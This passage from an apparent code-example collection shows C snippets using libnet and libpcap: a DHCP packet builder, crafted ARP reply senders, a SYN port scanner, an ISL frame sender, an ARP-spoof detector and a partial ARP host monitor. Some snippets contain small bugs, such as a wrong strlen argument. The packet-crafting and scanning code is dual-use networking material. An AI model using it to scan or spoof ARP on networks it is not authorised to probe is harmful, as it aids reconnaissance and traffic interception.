      options[num_options-1].opdata[0] = operation;
    }
  }

  if (arg_secs != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_secs, &stmp, 0);
    if (*stmp != '\0' || ultmp > 65535) {
      if (verbosity > 0)
        printf("Error: secs must be 0-65535 (was: %s)\n",
          arg_secs);
      exit(1);
    }
    secs = (u_int16_t)ultmp;
  }

  if (arg_timeout != NULL) {
    timeout = strtoul(arg_timeout, &stmp, 0);
    if (*stmp != '\0') {
      if (verbosity > 0)
        printf("Error: timeout value must be 0 or a positive integer (was: %s)\n",
          arg_timeout);
      exit(1);
    }
  }

  if (arg_reply_count != NULL) {
    reply_count = strtoul(arg_reply_count, &stmp, 0);
    if (*stmp != '\0') {
      if (verbosity > 0)
        printf("Error: reply_count value must be 0 or a positive integer (was: %s)\n",
          arg_reply_count);
      exit(1);
    }
  }

  if (arg_xid != NULL) {
    xid = strtoul(arg_xid, &stmp, 0);
    if (*stmp != '\0') {
      if (verbosity > 0) 
        printf("Error: xid value must be 0 or a positive integer (was: %s)\n",
          arg_xid);
      exit(1);
    } 
  }

  if (arg_flags != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_flags, &stmp, 0);
    if (*stmp != '\0' || ultmp > 65535) {
      if (verbosity > 0) 
        printf("Error: flags value must be 0-65535 (was: %s)\n",
          arg_flags);
      exit(1);
    }
    flags = (u_int16_t)ultmp;
  }

  if (arg_sip != NULL) {
    sip = inet_addr(arg_sip);
    if (sip == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified sip value is not a valid IPv4 address (was: %s)\n",
          arg_sip);
      exit(1);
    }
  }

  if (arg_yip != NULL) {
    yip = inet_addr(arg_yip);
    if (yip == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified yip value is not a valid IPv4 address (was: %s)\n",
          arg_yip);
      exit(1);
    }
  }

  if (arg_gip != NULL) {
    gip = inet_addr(arg_gip);
    if (gip == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified gip value is not a valid IPv4 address (was: %s)\n",
          arg_gip);
      exit(1);
    }
  }

  if (arg_fname != NULL) {
    fname = (char *)malloc(strlen(fname)+1);
    strcpy(fname, arg_fname);
  }
  if (arg_sname != NULL) {
    sname = (char *)malloc(strlen(sname)+1);
    strcpy(sname, arg_sname);
  }

  if (arg_ipv4_src != NULL) {
    ipv4_src = inet_addr(arg_ipv4_src);
    if (ipv4_src == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified ipv4_src value is not a valid IPv4 address (was: %s)\n",
          arg_ipv4_src);
      exit(1);
    }
  }

  if (arg_ipv4_dst != NULL) {
    ipv4_dst = inet_addr(arg_ipv4_dst);
    if (ipv4_dst == INADDR_NONE) {
      if (verbosity > 0)
        printf("Error: specified ipv4_dst value is not a valid IPv4 address (was: %s)\n",
          arg_ipv4_dst);
      exit(1);
    }
  }

  if (arg_ipv4_ttl != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_ipv4_ttl, &stmp, 0);
    if (*stmp != '\0' || ultmp > 255) {
      if (verbosity > 0) 
        printf("Error: ipv4_ttl value must be 0-255 (was: %s)\n",
          arg_xid);
      exit(1);
    }
    ipv4_ttl = (u_int8_t)ultmp;
  }

  if (arg_ipv4_tos != NULL) {
    unsigned long ultmp;
    ultmp = strtoul(arg_ipv4_tos, &stmp, 0);
    if (*stmp != '\0' || ultmp > 255) {
      if (verbosity > 0) 
        printf("Error: ipv4_tos value must be 0-255 (was: %s)\n",
          arg_ipv4_tos);
      exit(1);
    }
    ipv4_tos = (u_int8_t)ultmp;
  }

  if (arg_ether_dst != NULL) {
    int l = ETHER_ADDR_LEN;
    /*ether_dst = libnet_hex_aton((int8_t *)arg_ether_dst, &l);*/
    ether_dst = libnet_hex_aton(arg_ether_dst, &l);
    if (ether_dst == NULL) {
      if (verbosity > 0)
        printf("Error: invalid ethernet destination MAC specified (was: %s)\n",
          arg_ether_dst);
      exit(1);
    }
  }


  /******************************
   * Done setting parameters.   *
   * Start building DHCP packet *
   ******************************/

  libnet_clear_packet(lnp);

  /* Build DHCP payload (DHCP options section) */
  dhcp_payload = build_payload(&dhcp_payload_len);

  /* Create DHCP message */
  ptag_dhcpv4 = 
    libnet_build_dhcpv4(LIBNET_DHCP_REQUEST,
                         BOOTP_HTYPE_ETHER,
                         ETHER_ADDR_LEN,
                         BOOTP_HOPCOUNT,
                         xid,
                         secs,
                         flags,
                         cip,
                         yip,
                         sip,
                         gip,
                         chaddr,
                         sname,
                         fname,
                         dhcp_payload,
                         dhcp_payload_len,
                         lnp,
                         0);
  if (ptag_dhcpv4 == -1) {
    printf("Failed to build bootp packet: %s\n", libnet_errbuf);
    exit(1);
  }

/*
libnet_ptag_t
libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum,
u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
*/

  /* Create UDP datagram */
  ptag_udp =
    libnet_build_udp(UDP_SRCPORT,
                     UDP_DSTPORT,
                     dhcp_payload_len + LIBNET_DHCPV4_H + LIBNET_UDP_H,
                     0,
                     NULL,
                     0,
                     lnp,
                     0);
  if (ptag_udp == -1) {
    printf("Failed to build udp packet: %s\n", libnet_errbuf);
    exit(1);
  }

/*
libnet_ptag_t
libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,
u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst,
u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
*/

  /* Create IPv4 datagram */
  ptag_ipv4 =
    libnet_build_ipv4(dhcp_payload_len + LIBNET_DHCPV4_H + LIBNET_UDP_H + LIBNET_IPV4_H,
                      ipv4_tos,
                      ipv4_id++,
                      0,
                      ipv4_ttl,
                      IPPROTO_UDP,
                      0,
                      ipv4_src,
                      ipv4_dst,
                      NULL,
                      0,
                      lnp,
                      0);
  if (ptag_ipv4 == -1) {
    printf("Failed to build ipv4 packet: %s\n", libnet_errbuf);
    exit(1);
  }

  /* Create ethernet packet */
  ptag_ethernet = 
    libnet_autobuild_ethernet(ether_dst,
                              ETHERTYPE_IP,
                              lnp);
  if (ptag_ethernet == -1) {
    printf("Failed to build ethernet packet: %s\n", libnet_errbuf);
    exit(1);
  }

  /* Write packet to network */
  if (libnet_write(lnp) == -1) {
    printf("Failed to write ethernet packet to network: %s\n", libnet_errbuf);
    exit(1);
  }

  /* If we have to wait and listen for server replies, we use
     a timer and a signal handler to quit. We do this as libpcap
     doesn't support non-blocking packet capture on some (many?)
     platforms. We could have launched another thread also, but
     using timers and signals is simpler.
   */
  if (timeout > 0) {
    struct itimerval itv;
    itv.it_interval.tv_sec = itv.it_value.tv_sec = timeout;
    itv.it_interval.tv_usec = itv.it_value.tv_usec = 0;
    setitimer(ITIMER_REAL, &itv, NULL);
    signal(SIGALRM, sighandler);
    pcap_loop(pcp, -1, pcap_callback, NULL);    
  }

  libnet_destroy(lnp);
  pcap_close(pcp);
  exit(0);
}
Example #12
0
int
main(int argc, char *argv[])
{
    int c;
    u_long i;
    libnet_t *l;
    char *device = NULL;
    struct libnet_ether_addr *e;
    char errbuf[LIBNET_ERRBUF_SIZE];

    printf("libnet 1.1 address getter\n");

    while ((c = getopt(argc, argv, "i:")) != EOF)
    {
        switch (c)
        {
            case 'i':
                device = optarg;
                break;
            default:
                exit(EXIT_FAILURE);
        }
    }

    /*
     *  Initialize the library.  Root priviledges are required.
     */
    l = libnet_init(
            LIBNET_LINK,                            /* injection type */
            device,                                 /* network interface */
            errbuf);                                /* errbuf */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE);
    }

    printf("Interface %s\n", libnet_getdevice(l));
    e = libnet_get_hwaddr(l);
    if (e == NULL)
    {
        fprintf(stderr, "Can't get hardware address: %s\n", libnet_geterror(l));
    }
    else
    {
        printf("MAC address: ");
        for (c = 0; c < 6; c++)
        {
            printf("%x", e->ether_addr_octet[c]);
            if (c != 5)
            {
                printf(":");
            }
        }
        printf("\n");
    }

    i = libnet_get_ipaddr4(l);
    if (i == -1)
    {
        fprintf(stderr, "Can't get ip address: %s\n", libnet_geterror(l));
    }
    else
    {
        printf("IP  address: ");
        printf("%s\n", libnet_addr2name4(i, LIBNET_DONT_RESOLVE));
    }
    exit(EXIT_SUCCESS);
}
Example #13
0
int
main(int argc, char *argv[])
{
    int c;
    uint32_t i;
    libnet_t *l;
    libnet_ptag_t t;
    char *device = NULL;
    uint8_t *packet;
    uint32_t packet_s;
    char errbuf[LIBNET_ERRBUF_SIZE];

    printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n"); 

    if (argc > 1)
    {
         device = argv[1];
    }

    l = libnet_init(
            LIBNET_LINK_ADV,                        /* injection type */
            device,                                 /* network interface */
            errbuf);                                /* errbuf */

    if (l == NULL)
    {
        fprintf(stderr, "%s", errbuf);
        exit(EXIT_FAILURE);
    }
	else

    /*
     *  Build the packet, remmebering that order IS important.  We must
     *  build the packet from lowest protocol type on up as it would
     *  appear on the wire.  So for our ARP packet:
     *
     *  -------------------------------------------
     *  |  Ethernet   |           ARP             |
     *  -------------------------------------------
     *         ^                     ^
     *         |------------------   |
     *  libnet_build_ethernet()--|   |
     *                               |
     *  libnet_build_arp()-----------|
     */
	 
    i = libnet_get_ipaddr4(l);
  
    t = libnet_autobuild_arp(
            ARPOP_REPLY,                            /* operation type */
            enet_src,                               /* sender hardware addr */
            (uint8_t *)&i,                         /* sender protocol addr */
            enet_dst,                               /* target hardware addr */
            (uint8_t *)&i,                         /* target protocol addr */
            l);                                     /* libnet context */
    if (t == -1)
    {
        fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    t = libnet_autobuild_ethernet(
            enet_dst,                               /* ethernet destination */
            ETHERTYPE_ARP,                          /* protocol type */
            l);                                     /* libnet handle */
    if (t == -1)
    {
        fprintf(stderr, "Can't build ethernet header: %s\n",
                libnet_geterror(l));
        goto bad;
    }


    if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1)
    {
        fprintf(stderr, "%s", libnet_geterror(l));
    }
    else
    {
        fprintf(stderr, "packet size: %d\n", packet_s);
        libnet_adv_free_packet(l, packet);
    }

    c = libnet_write(l);

    if (c == -1)
    {
        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
        goto bad;
    }
    else
    {
        fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; "
                "check the wire.\n", c, libnet_cq_getlabel(l));
    }
    libnet_destroy(l);
    return (EXIT_SUCCESS);
bad:
    libnet_destroy(l);
    return (EXIT_FAILURE);
}
Example #14
0
int
libnet_win32_write_raw_ipv4(libnet_t *l, const uint8_t *payload, uint32_t payload_s)
{    
    static BYTE dst[ETHER_ADDR_LEN];
    static BYTE src[ETHER_ADDR_LEN];
	
    uint8_t *packet      = NULL;
    uint32_t packet_s;

    LPPACKET lpPacket   = NULL;
    DWORD remoteip      = 0;
    DWORD BytesTransfered;
    NetType type;
    struct libnet_ipv4_hdr *ip_hdr = NULL;
	
    memset(dst, 0, sizeof(dst));
    memset(src, 0, sizeof(src));

    packet_s = payload_s + l->link_offset;
    packet = (uint8_t *)malloc(packet_s);
    if (packet == NULL)
    {
        snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
                "%s(): failed to allocate packet\n", __func__);
        return (-1);
    }
	
    /* we have to do the IP checksum  */
    if (libnet_do_checksum(l, payload, IPPROTO_IP, LIBNET_IPV4_H) == -1)
    {
        /* error msg set in libnet_do_checksum */
        return (-1);
    } 

    /* MACs, IPs and other stuff... */
    ip_hdr = (struct libnet_ipv4_hdr *)payload;
    memcpy(src, libnet_get_hwaddr(l), sizeof(src));
    remoteip = ip_hdr->ip_dst.S_un.S_addr;
		
    /* check if the remote station is the local station */
    if (remoteip == libnet_get_ipaddr4(l))
    {
        memcpy(dst, src, sizeof(dst));
    }
    else
    {
        memcpy(dst, libnet_win32_get_remote_mac(l, remoteip), sizeof(dst));
    }

    PacketGetNetType(l->lpAdapter, &type);
	
    switch(type.LinkType)
    {
        case NdisMedium802_3:
            libnet_win32_build_fake_ethernet(dst, src, ETHERTYPE_IP, payload,
                    payload_s, packet, l , 0);
            break;
        case NdisMedium802_5:
            libnet_win32_build_fake_token(dst, src, ETHERTYPE_IP, payload,
                    payload_s, packet, l, 0);
            break;
        case NdisMediumFddi:
            break;
        case NdisMediumWan:
        case NdisMediumAtm:
        case NdisMediumArcnet878_2:
        default:
            snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
                "%s(): network type (%d) is not supported\n", __func__,
                type.LinkType);
            return (-1);
            break;
    }    

    BytesTransfered = -1;
    if ((lpPacket = PacketAllocatePacket()) == NULL)
    {
        snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
                "%s(): failed to allocate the LPPACKET structure\n", __func__);
	    return (-1);
    }
    
    PacketInitPacket(lpPacket, packet, packet_s);

    /* PacketSendPacket returns a BOOLEAN */
    if (PacketSendPacket(l->lpAdapter, lpPacket, TRUE))
    {
        BytesTransfered = packet_s;
    }

    PacketFreePacket(lpPacket);
    free(packet);

    return (BytesTransfered);
}
Example #15
0
int
main (int argc, char **argv) {

	int c, valid, bnr = 9, showpopup = 0, flags = 0;			/* temporary vars */
	char errbuf[PCAP_ERRBUF_SIZE];						/* error buffer */

	libnet_t *l;								/* libnet handle for address retrieval */
	char libnet_errbuf[LIBNET_ERRBUF_SIZE];					/* libnet error messages */

	char start_time[24], end_time[24];
	time_t acurtime, bcurtime;
	struct tm *aloctime, *bloctime;

	struct configuration conf, *config=&conf;				/* struct to hold config for current session */
	struct validated_queue *start = NULL, *end = NULL;			/* pointers to validated queue */

	/* get current system time */
	acurtime = time (NULL);

	/* convert it to local time representation */
	aloctime = localtime (&acurtime);

	/* format time struct into a char array */
	strftime (start_time, 24, "%d/%b/%Y %H:%M:%S", aloctime);

	/* load default params in config struct */
	config->flags = 0;
	config->verbose = 0;
	config->queue_size = 0;
	config->dev = NULL;
	config->dport = HTTP;
	config->mode = DETECT;
	config->gtimeout = TIME_OUT;
	config->scan_type = SYN_SCAN;

	config->a_port_name = "HTTP";
	config->a_scan_type = "SYN_SCAN";

	/* parse and load cmd-line params in config struct */
	while ((c = getopt (argc, argv, "hi:p:Parsfuetvg:o")) != -1) {
		switch (c) {
			case 'h':
				print_usage ();
				exit (EXIT_SUCCESS);
			case 'i':
				config->dev = optarg;
				break;
			case 'p':
				if (1 <= atoi (optarg) && 65535 >= atoi (optarg)) {
					config->dport = atoi (optarg);
				}
				break;
			case 'P':
				config->mode = PREVENT;
				break;
			case 'a':
				config->scan_type = ACK_SCAN;
				config->flags = config->flags | ACK;
				flags = flags | ACK;
				break;
			case 'r':
				config->scan_type = RST_SCAN;
				config->flags = config->flags | RST;
				flags = flags | RST;
				break;
			case 's':
				config->scan_type = SYN_SCAN;
				config->flags = config->flags | SYN;
				flags = flags | SYN;
				break;
			case 'f':
				config->scan_type = FIN_SCAN;
				config->flags = config->flags | FIN;
				flags = flags | FIN;
				break;
			case 'u':
				config->scan_type = UDP_SCAN;
				config->a_scan_type = "UDP_SCAN";
				break;
			case 'e':
				config->scan_type = ECHO_SCAN;
				config->a_scan_type = "ECHO_SCAN";
				break;
			case 't':
				config->scan_type = TSTAMP_SCAN;
				config->a_scan_type = "TSTAMP_SCAN";
				break;
			case 'v':
				config->verbose = 1;
				break;
			case 'g':


				if (1 <= atoi (optarg) && 9 >= atoi (optarg)) {
					config->gtimeout = atoi (optarg);
				}
				break;
			case 'o':
				showpopup = 1;
				break;
			case '?':
				if ('i' == optopt || 'p' == optopt) {
					print_usage ();
					exit (EXIT_FAILURE);
				} else if (isprint (optopt)) {
					printf ("\n [-] unknown option `-%c'\n", optopt);
					print_usage ();
					exit (EXIT_FAILURE);
				} else {
					printf ("\n unknown option character `\\x%x'\n", optopt);
					print_usage ();
					exit (EXIT_FAILURE);
				}
			default:
				print_usage ();
				exit (EXIT_FAILURE);
		}
	}

	if (0 == flags) { config->flags = SYN; }
	else if (ACK == flags) { config->a_scan_type = "ACK_SCAN"; }
	else if (RST == flags) { config->a_scan_type = "RST_SCAN"; }
	else if (SYN == flags) { config->a_scan_type = "SYN_SCAN"; }
	else if (FIN == flags) { config->a_scan_type = "FIN_SCAN"; }

	/* print an ASCII-ART banner */
	print_banner ();

	switch (config->dport) {
		case HTTP:
				config->a_port_name = "HTTP";
				break;
		case FTP:
				config->a_port_name = "FTP";
				break;
		case TELNET:
				config->a_port_name = "TELNET";
				break;
		case SSH:
				config->a_port_name = "SSH";
				break;
		case SMTP:
				config->a_port_name = "SMTP";
				break;
		default:
				config->a_port_name = "UNKNOWN";
				break;
	}

	/* check if we are root, else exit */
	if (0 != getuid ()) {
		printf ("\n [!] you need to be root buddy...\n\n");
		exit (EXIT_FAILURE);
	}

	/* find a capture device if not specified on command-line */
	if (config->dev == NULL) {
		config->dev = pcap_lookupdev (errbuf);
		if (config->dev == NULL) {
			printf ("\n [-] could not find default device: %s\n\n", errbuf);
			exit (EXIT_FAILURE);
		}
	}

	/* initialize libnet library to find local mac and ip addresses */
	l = libnet_init (LIBNET_LINK, config->dev, libnet_errbuf);
	if (NULL == l) {
		printf ("\n [-] libnet_init() failed: %s\n\n", libnet_errbuf);
		exit (EXIT_FAILURE);
	}

	/* fetch local mac address */
	config->macaddr = libnet_get_hwaddr (l);
	if (NULL == config->macaddr) {
		printf ("\n [-] could not fetch local mac address: %s\n\n", libnet_geterror (l));
		libnet_destroy (l);
		exit (EXIT_FAILURE);
	} else {
		snprintf (config->llmac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
				config->macaddr->ether_addr_octet[0], config->macaddr->ether_addr_octet[1],
				config->macaddr->ether_addr_octet[2], config->macaddr->ether_addr_octet[3],
				config->macaddr->ether_addr_octet[4], config->macaddr->ether_addr_octet[5]);
	}

	/* fetch local ip address */
	config->ipaddr = libnet_get_ipaddr4 (l);
	if (-1 == config->ipaddr) {
		printf ("\n [-] could not fetch local ip address: %s\n\n", libnet_geterror (l));
		libnet_destroy (l);
		exit (EXIT_FAILURE);
	} else {
		snprintf (config->llip, 16, "%s", libnet_addr2name4 (config->ipaddr, LIBNET_DONT_RESOLVE));
	}

	printf (" [+] session started at %s \n", start_time);
	printf (" [+] default configuration and cmd-line parameters loaded\n");
	printf (" [+] device: \"%s\", mode: \"%s\", port: \"%s\", scan-type: \"%s\"\n",
		config->dev, (config->mode)? "PREVENT" : "DETECT", config->a_port_name,	config->a_scan_type);

	/* start repeat loop */

	/* call sniffer module to fill up our config struct with packet fields */
	printf (" [+] calling arp-sniffer module to capture incoming arp packets\n");
	config = sniffer (config);

	printf ("\n [+] above arp packet was captured and respective fields were saved for analysis\n");
	printf (" [+] calling anamoly-detection module to perform static analysis on saved packet fields\n");

	/* call static_analysis module to perform some static checks on packet fields */
	valid = static_analysis (conf);
	if (EXIT_FAILURE == valid) {
		printf (" [+] analyzed arp packet seems to be specially-crafted. kernel might have added the"
			" poisonous SIP-SMAC entry in arp cache\n");
		if (DETECT == conf.mode) {
			printf (" [+] you need to clean up arp cache manually. delete entry for SIP (%s) - SMAC (%s)\n",
				conf.a_sip, conf.a_sha);
			printf (" [+] to automate this process, please terminate this session and restart arp-secur"
				" in PREVENT mode, i.e with -P switch\n");

		} else if (PREVENT == conf.mode) {
			printf (" [+] cleaning up arp cache by deleting entry for SIP (%s) - SMAC (%s)\n",
				conf.a_sip, conf.a_sha);
				cache_cleanup (conf.a_sip, conf.a_sha);
		}
	} else {
		printf (" [+] analyzed arp packet does not seem to be specially-crafted\n");

		/* check if we have already processed (and validated) the ip-mac pair... */
		if (0 < conf.queue_size) {
			printf (" [+] calling known-traffic-filter module to check if we have validated"
				" IP - MAC (%s - %s) pair earlier (queue_size: %d)\n",
				conf.a_sip, conf.a_sha, conf.queue_size);
			known_traffic_filter (start, conf.a_sip, conf.a_sha, conf.queue_size);
		} else {
			printf (" [+] no IP-MAC pairs have been validated yet (queue_size: %d)\n", conf.queue_size);
		}

		/* ...hmmm, seems to be a new mac-ip pair. let's validate it then... */
		printf (" [+] calling spoof-detection module to validate IP - MAC (%s - %s) pair\n", conf.a_sip, conf.a_sha);
		valid = spoof_detector (conf, start, end);

		if (0 == valid) {
			printf ("\n [+] try other scan types before determining the validity of the IP - MAC (%s - %s)\n",
				conf.a_sip, conf.a_sha);
			if (DETECT == conf.mode) {
				printf (" [+] for safety reasons, you need to clean up arp cache manually."
					" delete entry for (%s - %s)\n", conf.a_sip, conf.a_sha);
				printf (" [+] to automate this process from now onwards,"
					" restart arp-secur in PREVENT mode, i.e with -P switch\n");
			} else if (PREVENT == conf.mode) {
				printf (" [+] cleaning up arp cache by deleting entry for SIP (%s) - SMAC (%s)\n",
					conf.a_sip, conf.a_sha);
				cache_cleanup (conf.a_sip, conf.a_sha);
			}
		}

		/* display session summary in a system popup notification */
		if (1 == showpopup) {
			alert (conf.a_sip, conf.a_sha, valid);
		}

		/* end repeat loop */

		/* end arp-secur session */
		bcurtime = time (NULL);
		bloctime = localtime (&bcurtime);
		strftime (end_time, 24, "%d/%b/%Y %H:%M:%S", bloctime);
		printf ("\n [+] session finished at %s\n\n", end_time);

	}

	return 0;

}//main
Example #16
0
void sendsyns ()
{
   libnet_t *l;
   char errbuf[LIBNET_ERRBUF_SIZE];
   u_long ip;
   libnet_ptag_t tcp_pkt = LIBNET_PTAG_INITIALIZER;
   libnet_ptag_t ip_pkt;
   u_long dst_ip;
   int  count = 0;
   char *payload = "";		// put your love note here.
   u_short payload_s = strlen (payload);
   int  currentport = opts.low_port;
   int  build_header = 1;

   /* 
    * pcap may be slow to initialize, so let's wait a second. 
    */
   sleep (1);

   /* 
    * initialize libnet for raw IP packets.  libnet will
    *  find an appropriate interface. 
    */
   l = libnet_init (LIBNET_RAW4, NULL, errbuf);
   if (l == NULL) {
      fprintf (stderr, "libnet_init failed: %s", errbuf);
      exit (1);
   }

   /* 
    * get the IP address of the source interface 
    */
   ip = libnet_get_ipaddr4 (l);
   if (-1 == ip) {
      fprintf (stderr, "libnet_get_ipaddr4(l) failed: ");
      fprintf (stderr, "%s\n", libnet_geterror (l));
      exit (1);
   }

   dst_ip = libnet_name2addr4 (l, (u_char *) opts.target, LIBNET_RESOLVE);
   if (-1 == dst_ip) {
      fprintf (stderr, "libnet_name2addr4() failed: ");
      fprintf (stderr, "%s\n", libnet_geterror (l));
      exit (1);
   }

   /* 
    * Build and send a SYN packet, one for each port.  The first time
    *  this loop is executed an IP packet will be constructed. 
    */
   printf ("scanning port %d through %d on %s\n",
	   opts.low_port,
	   opts.high_port, libnet_addr2name4 (dst_ip, LIBNET_DONT_RESOLVE));
   while (currentport <= opts.high_port) {
      /* 
       * Sleep a little... if we send packets too fast, some will get
       * dropped. 
       */
      usleep (50);
      /* 
       * Build the TCP packet with the SYN flag set.  A payload is 
       * optional; for automated scans it is nice to include some text
       * explaining why you are scanning (or ask first!).  Fields with
       * 0 will be calculated by libnet.  
       */
      tcp_pkt = libnet_build_tcp (opts.src_port,	// source port
				  currentport++,	// dest port
				  libnet_get_prand (LIBNET_PRu32),	// seq
				  libnet_get_prand (LIBNET_PRu32),	// ack
				  TH_SYN,	// flags
				  libnet_get_prand (LIBNET_PRu16),	// window size
				  0,	// checksum
				  0,	// urgent ptr
				  LIBNET_TCP_H + payload_s,	// packet size
				  (u_char *) payload,	// contents of packet
				  payload_s,	// size of payload
				  l,	// libnet handle
				  tcp_pkt);	// libnet id
      if (-1 == tcp_pkt) {
	 fprintf (stderr, "libnet_build_tcp() failed: ");
	 fprintf (stderr, "%s\n", libnet_geterror (l));
	 exit (1);
      }

      if (build_header) {
	 build_header = 0;
	 ip_pkt = libnet_autobuild_ipv4 (LIBNET_IPV4_H + LIBNET_TCP_H,
					 IPPROTO_TCP, dst_ip, l);
	 if (-1 == ip_pkt) {
	    fprintf (stderr, "libnet_autobuild_ipv4() failed: ");
	    fprintf (stderr, "%s\n", libnet_geterror (l));
	 }
      }

      /* 
       * Send it! 
       */
      count = libnet_write (l);
      if (-1 == count) {
	 fprintf (stderr, "libnet_write() failed: ");
	 fprintf (stderr, "%s\n", libnet_geterror (l));
      }
   }
   printf ("\n");
}
Example #17
0
File: isl.c Project: big3k/oneway
int
main(int argc, char *argv[])
{
    int c, len;
    libnet_t *l;
    libnet_ptag_t t;
    u_char *dst;
    u_long ip;
    u_char dhost[5] = {0x01, 0x00, 0x0c, 0x00, 0x00};
    u_char snap[6]  = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00};
    char *device = NULL;
    char errbuf[LIBNET_ERRBUF_SIZE];

    printf("libnet 1.1 packet shaping: [ISL]\n");

    device = NULL;
    dst = NULL;
    while ((c = getopt(argc, argv, "i:d:")) != EOF)
    {
        switch (c)
        {
            case 'd':
                dst = libnet_hex_aton(optarg, &len);
                break;
            case 'i':
                device = optarg;
                break;
        }
    }

    if (dst == NULL)
    {
        fprintf(stderr, "usage %s -d dst [-i interface]\n",
                argv[0]);
        exit(EXIT_FAILURE);
    }

    /*
     *  Initialize the library.  Root priviledges are required.
     */
    l = libnet_init(
            LIBNET_LINK,                            /* injection type */
            device,                                 /* network interface */
            errbuf);                                /* errbuf */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE);
    }

    ip = libnet_get_ipaddr4(l);

    t = libnet_build_arp(
            ARPHRD_ETHER,                           /* hardware addr */
            ETHERTYPE_IP,                           /* protocol addr */
            6,                                      /* hardware addr size */
            4,                                      /* protocol addr size */
            ARPOP_REPLY,                            /* operation type */
            enet_src,                               /* sender hardware addr */
            (u_char *)&ip,                          /* sender protocol addr */
            enet_dst,                               /* target hardware addr */
            (u_char *)&ip,                          /* target protocol addr */
            NULL,                                   /* payload */
            0,                                      /* payload size */
            l,                                      /* libnet handle */
            0);                                     /* libnet id */
    if (t == -1)
    {
        fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    t = libnet_autobuild_ethernet(
            dst,                                    /* ethernet destination */
            ETHERTYPE_ARP,                          /* protocol type */
            l);                                     /* libnet handle */
    if (t == -1)
    {
        fprintf(stderr, "Can't build ethernet header: %s\n",
                libnet_geterror(l));
        goto bad;
    }

    t = libnet_build_isl(
            dhost,
            0x0,
            0x0,
            enet_src,
            10 + 42,
            snap,
            10,
            0x8000,
            0,
            NULL,                                   /* payload */
            0,                                      /* payload size */
            l,                                      /* libnet handle */
            0);                                     /* libnet id */
    if (t == -1)
    {
        fprintf(stderr, "Can't build ISL header: %s\n", 
                libnet_geterror(l));
        goto bad;
    }


    /*
     *  Write it to the wire.
     */
    c = libnet_write(l);

    if (c == -1)
    {
        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
        goto bad;
    }
    else
    {
        fprintf(stderr, "Wrote %d byte ISL packet; check the wire.\n", c);
    }
    free(dst);
    libnet_destroy(l);
    return (EXIT_SUCCESS);
bad:
    free(dst);
    libnet_destroy(l);
    return (EXIT_FAILURE);
}
Example #18
0
void *ted_arpmon_thread( void *arg ){
	ted_context_t *ted = (ted_context_t *)arg;
	struct libnet_ether_addr *if_mac;
	struct in_addr            if_ip;
	libnet_t                 *nd;
	char                      n_error[LIBNET_ERRBUF_SIZE];
	char                      p_error[PCAP_ERRBUF_SIZE];
	unsigned int			  nhosts,
	        				  i,
							  ip;
	libnet_ptag_t net = LIBNET_PTAG_INITIALIZER,
	              arp = LIBNET_PTAG_INITIALIZER;
	unsigned char unknown_hw[ETH_ALEN] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 },
		   		  bcast_hw[ETH_ALEN]   = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
	pthread_t tid;
		
	if( (nd = libnet_init( LIBNET_LINK, ted->device, n_error )) == NULL ){
		ted_die( "Error initializing libnet layer (%s) .\n", n_error );
	}

	if( (if_mac = libnet_get_hwaddr( nd )) == NULL ){
		ted_die( "Error retrieving %s MAC address .\n", ted->device );
	}

	if( (if_ip.s_addr = libnet_get_ipaddr4( nd )) < 0 ){
		ted_die( "Error retrieving %s bound ip address .\n", ted->device );
	}

	ted->pd = pcap_open_live( ted->device, 65535, 1, 1000, p_error );

	if( (ted->datalink = pcap_datalink(ted->pd)) < 0 ){
        ted_die( "Error retrieving %s data link layer (%s) .\n", ted->device, p_error );
	}
	
    switch( ted->datalink )
    {
        case DLT_RAW        : ted->head_shift = 0;  break;
        case DLT_PPP        :
        case DLT_LOOP       :
        case DLT_NULL       : ted->head_shift = 4;  break;
        case DLT_PPP_ETHER  : ted->head_shift = 8;  break;
        case DLT_EN10MB     :
        case DLT_EN3MB      : ted->head_shift = 14; break;
        case DLT_LINUX_SLL  :
        case DLT_SLIP       : ted->head_shift = 16; break;
        case DLT_SLIP_BSDOS :
        case DLT_PPP_BSDOS  :
        case DLT_IEEE802_11 : ted->head_shift = 24; break; 
        case DLT_PFLOG      : ted->head_shift = 48; break;
        
        default             : ted_die( "Device datalink not supported .\n" );
    }

	pcap_lookupnet( ted->device, &ted->network, &ted->netmask, p_error );
	
	if( pthread_create( &tid, NULL, ted_arpmon_recv_thread, (void *)ted ) != 0 ){
		ted_die( "Could not create alive hosts reciever thread .\n" );
	}
	
	nhosts = ntohl(~ted->netmask);
	
	while( 1 ){
		for( i = 1; i <= nhosts; i++ ){
			ip = (if_ip.s_addr & ted->netmask) | htonl(i);
			// don't send arp request to ourself :P
			if( ip != if_ip.s_addr ){
				arp = libnet_build_arp( ARPHRD_ETHER,
										ETHERTYPE_IP,
										ETH_ALEN,
										4,
										ARPOP_REQUEST,
